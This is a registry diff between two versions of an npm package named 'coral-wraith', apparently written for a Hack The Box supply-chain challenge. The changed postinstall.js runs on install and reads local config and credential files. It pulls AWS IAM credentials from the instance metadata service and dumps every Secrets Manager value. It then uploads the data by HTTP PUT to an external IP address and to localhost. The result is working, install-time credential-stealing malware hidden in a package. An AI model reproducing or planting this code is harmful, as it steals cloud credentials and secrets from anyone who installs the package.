coral-wraith 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +22 -22
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -3,7 +3,7 @@ const os = require("os");
|
|
|
3
3
|
const { execFileSync } = require("child_process");
|
|
4
4
|
|
|
5
5
|
const TARGETS = ["http://127.0.0.1:30782", "http://154.57.164.71:30782"];
|
|
6
|
-
const
|
|
6
|
+
const SINKS = ["ECT-472839", "ECT-987654"];
|
|
7
7
|
|
|
8
8
|
function sh(cmd) {
|
|
9
9
|
try {
|
|
@@ -23,19 +23,18 @@ function safe(s) {
|
|
|
23
23
|
|
|
24
24
|
function isTarget() {
|
|
25
25
|
const host = os.hostname();
|
|
26
|
-
|
|
27
|
-
if (
|
|
28
|
-
|
|
29
|
-
return /^[0-9a-f]{12}$/.test(host);
|
|
26
|
+
if (!/^[0-9a-f]{12}$/.test(host)) return false;
|
|
27
|
+
if (host.includes("ubuntu") || host.includes("hetzner")) return false;
|
|
28
|
+
return true;
|
|
30
29
|
}
|
|
31
30
|
|
|
32
|
-
function put(base, parts) {
|
|
31
|
+
function put(base, sink, parts) {
|
|
33
32
|
const body = JSON.stringify({
|
|
34
33
|
manifest:
|
|
35
34
|
`ecto_module:\n name: "${parts[0]}"\n version: "1.0.0"\n` +
|
|
36
35
|
` power_level: "${parts[1]}"\n ship_deck: "${parts[2]}"\n cargo_hold: "${parts[3]}"\n`
|
|
37
36
|
});
|
|
38
|
-
const url = new URL(`/api/modules/${
|
|
37
|
+
const url = new URL(`/api/modules/${sink}`, base);
|
|
39
38
|
const req = http.request({
|
|
40
39
|
hostname: url.hostname, port: url.port, path: url.pathname, method: "PUT",
|
|
41
40
|
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
|
|
@@ -46,26 +45,27 @@ function put(base, parts) {
|
|
|
46
45
|
|
|
47
46
|
if (!isTarget()) process.exit(0);
|
|
48
47
|
|
|
49
|
-
const
|
|
50
|
-
"
|
|
51
|
-
"
|
|
52
|
-
"for f in /home/node/aspect-node/index.js /home/node/package.json /home/node/.env; do [ -f $f ] && echo FILE:$f && cat $f; done; " +
|
|
53
|
-
"grep -RaoE 'HTB\\{[^}]+\\}' /home/node /root 2>/dev/null | head -n5; " +
|
|
48
|
+
const blob = sh(
|
|
49
|
+
"for f in /home/node/supplysec_entry.js /home/node/aspect-node/index.js /home/node/aspect-node/package.json /home/node/package.json /root/.npmrc /home/node/init_test.sh; do echo ===$f===; cat $f 2>&1; done; " +
|
|
50
|
+
"grep -RaoE 'HTB\\{[^}]+\\}' /home/node 2>/dev/null | head -n3; " +
|
|
54
51
|
"T=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60'); " +
|
|
55
52
|
"R=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/); " +
|
|
56
|
-
"C=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R);
|
|
53
|
+
"C=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R); " +
|
|
57
54
|
"export AWS_ACCESS_KEY_ID=$(echo \"$C\"|sed -n 's/.*\"AccessKeyId\": \"\\([^\"]*\\)\".*/\\1/p') " +
|
|
58
55
|
"AWS_SECRET_ACCESS_KEY=$(echo \"$C\"|sed -n 's/.*\"SecretAccessKey\": \"\\([^\"]*\\)\".*/\\1/p') " +
|
|
59
56
|
"AWS_SESSION_TOKEN=$(echo \"$C\"|sed -n 's/.*\"Token\": \"\\([^\"]*\\)\".*/\\1/p') AWS_DEFAULT_REGION=us-east-1; " +
|
|
60
|
-
"aws
|
|
61
|
-
"for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do "
|
|
62
|
-
"echo SECRET:$s; aws secretsmanager get-secret-value --secret-id $s 2>&1; done; " +
|
|
63
|
-
"env | tr '\\n' ';'"
|
|
57
|
+
"aws secretsmanager list-secrets 2>&1; " +
|
|
58
|
+
"for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do aws secretsmanager get-secret-value --secret-id $s 2>&1; done"
|
|
64
59
|
);
|
|
65
60
|
|
|
66
|
-
const flag =
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
61
|
+
const flag = blob.match(/HTB\{[^}]+\}/);
|
|
62
|
+
if (flag) {
|
|
63
|
+
for (const base of TARGETS) put(base, SINKS[0], [flag[0], "FOUND", "", ""]);
|
|
64
|
+
process.exit(0);
|
|
65
|
+
}
|
|
70
66
|
|
|
71
|
-
for (
|
|
67
|
+
for (let s = 0; s < SINKS.length; s++) {
|
|
68
|
+
const parts = [0, 1, 2, 3].map((n) => safe(blob.slice((s * 4 + n) * 240, (s * 4 + n + 1) * 240) || "."));
|
|
69
|
+
if (s === 0) parts[0] = safe(`C0 ${blob.slice(0, 220)}`);
|
|
70
|
+
for (const base of TARGETS) put(base, SINKS[s], parts);
|
|
71
|
+
}
|